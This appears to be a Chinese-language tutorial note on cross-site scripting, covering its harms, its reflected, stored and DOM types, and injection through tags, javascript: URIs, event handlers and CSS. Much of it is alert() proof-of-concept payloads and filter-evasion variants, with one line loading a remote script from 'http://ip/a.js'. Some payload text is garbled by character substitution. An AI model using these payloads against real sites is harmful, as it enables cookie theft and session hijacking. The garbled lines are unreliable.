XSS跨站脚本攻击Cross Site Script(ing) CSS (层叠样式表)
XSS 所使用的攻击代码主要JavaScript
JS能够做到的事情,就是可能受到的攻击。
XSS攻击的是用户、浏览器、客户端
一、XSS 简介
只要没有对用户的输入进行严格过滤,就会被XSS (如:留言板..聊天室)
二、XSS漏洞危害
盗取各种用户账号
窃取用户Cookie资料,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒
三、漏洞的验证
只要浏览器弹框,就意味着JS 代码可以被执行。就可以执行其他语句.
<script>alert(/XSS/)</script>
<script>alert('XSS')</script>
<script>alert("XSS")</script>
要想弹框,最好能让浏览器识别<script>
四、XSS漏洞的类型
反射型XSS
非持久性的、参数型的跨站脚本
搜索框、用户登录等等。
存储型XSS
持久性的跨站脚本。
恶意代码存储在数据库、其他文件等等地方。
容易暴露攻击
DOM 型XSS
会更改原来文档的DOM 树
http://172.18.199.91/DOM-XSS/DOM-XSS/?context=
http://172.18.199.91/DOM-XSS/DOM-XSS/#context=
五、XSS的结构
XSS攻击的是浏览器,IE/chrome/firefox
不同的浏览器效果不一样,同一款浏览器不同版本之间效果不同
1.利用<>构造HTML 或者JS标签
如果用户可以随心所欲的引入
<>
等标记,那么他就能操作一个
HTML
标签,然后通过
<script>
标签就能输入任意由
JavaScript
或
vbscript
编写的恶意脚本代码。如
<script>alert(/xss/)</script>
<p style="color:red">我心永恒</p>
2.利用HTML 标签的属性值进行XSS
HTML 中有标签,标签中有属性,属性有属性值.
有的HTML 标签属性值,支持javascript:[code]
很多
HTML
标记中的属性都支持
【
javascript
:[code]】
伪协议的形式,这个特殊的协议类型声明了
URL
的主体是任意的
JavaScript
代码,由
Javascript
的解释器运行。所以,可以利用部分
HTML
标记的属性值进行
XSS
。如
<a href="javascript:alert(/xss/)">touch me!</a>
<table background="javascript:alert(/xss/)"></table>
(03 IE)
<img src="javascript:alert('xss')">
3.产生自己的事件
>事件就用户何时做了什么事情。处理相关事件的语句,事件响应函数
百度HTML事件
JavaScript
与
HTML
之间的交互是通过事件来实现的
事件就是用户或浏览器自身执行的某个动作,
比如,
Click
,
mouseover
等,
响应事件的函数也就叫做事件处理函数
时间能够说明用户何时做了某些事情或页面何时加载完毕
事件划分为3个不同的类别
--用户接口(鼠标键盘)
--逻辑(处理的结果)
--变化 (对文档的修改)
<img src="./1.jpg" οnmοuseοver="alert(/xss/)"> onmouseover 鼠标指针移动到元素上时触发
<input type="text" οnkeydοwn="alert(/xss/)"> onkeydown 用户按下按键时触发
4.利用CSS跨站(不常见)
>使用范围窄
XSS
跨站脚本的另一个载体是
CSS
样式表,使用
CSS
样式表执行
JavaScript
具有隐蔽性,灵活多变等特点。
但是
CSS
样式表有一个很大的缺点:各种浏览器之间不能通用,甚至可能同一浏览器的不同版本之间都不能通用。
利用
CSS
跨站
(
03
IE
)
【<div style="
background-image:url
(
javascript:alert
(/
xss
/)
)
">】
<style>
Body{
background-
image:url
(
javascript:alert
(/
xss
/))
}
</style>
IE5及其以后版本支持在CSS中使用expression使用expression同意可以触发XSS漏洞
【<div style="width:expression
(alert(/
xss
/))">】
CSS样式可以从其他文件甚至从不同的目标机器上进行引用
<link rel="stylesheet" href="test.css">
六、XSS的变形
1.大小转换
<img src='#' οnerrοr="alert(/xss/)" />
<Img sRc='#' Onerror="alert(/xss/)" />
2.引号的引用
@ 无引号
<Img sRc=# Onerror=alert(/xss/) />
@ 单引号
<Img sRc='#' Onerror='alert(/xss/)' />
@ 双引号
<Img sRc="#" Onerror="alert(/xss/)" />
3.利用/代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4.css中变形
@ 使用全角字符
<style>body{background-image:expression(alert(/xss/));}</style>
@ 注释会被浏览器忽略
<style>
body{
background- image:expre/***/ssion(alert(/xss/))
}
</style>
@ 样式表中的\ 和\0 同样会被浏览器忽略
<style>@import 'javasc\ri\0pt:alert("xss")';</style>
5.Tab与回车
<Img/sRc='#'/Onerror ='alert(/xss/)' />
<A hREf="j avascript:alert(/xss/)">click me!</a>
<A hREf="j
avascript:alert(/xss/)">click me!</a>
6.对标签属性值进行转码
a 97 a a a转ASCII码然后转为十六进制
e 101 e e
<A hREf="j avascript:alert(/xss/)">click me!</a>
插入到任意位置
Tab
换行
回车
插入到头部
SOH 标题开始信号
STX 开始
<A hREf="j avas c
r
ipt:alert(/xss/)">click me!</a>
7.拆分跨站
<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script>
七、ShellCode的调用
远程调用JS
<script src="
http://ip/a.js"></script>
;
使用
windows.location.hash
AJAX 技术
利用JS 发送HTTP 请求,下载代码
备选存储技术
可以把XSS 放在本地域中,典型代表客户端的COOKIE。
XSS 平台
ZKME
一、XSS注入的流程
先通过常用语句漏洞的验证
<script>alert(/XSS/)</script>
查看源代码判
断XSS的闭合、有没有过滤<
>
输入<ajest' "
> 只是为了判断(提交一个特殊的字段,看返回值里能不能回显这个字段
查看源代码
利用XSS的结构
>>
1.利用<>或者js标签
<script>alert(/xss/)</script>
<p style="color:red">我心永恒</p>
2.利用标签属性 javascript:【code】
3.利用事件
若结构中会受到过滤等则进行XSS的变形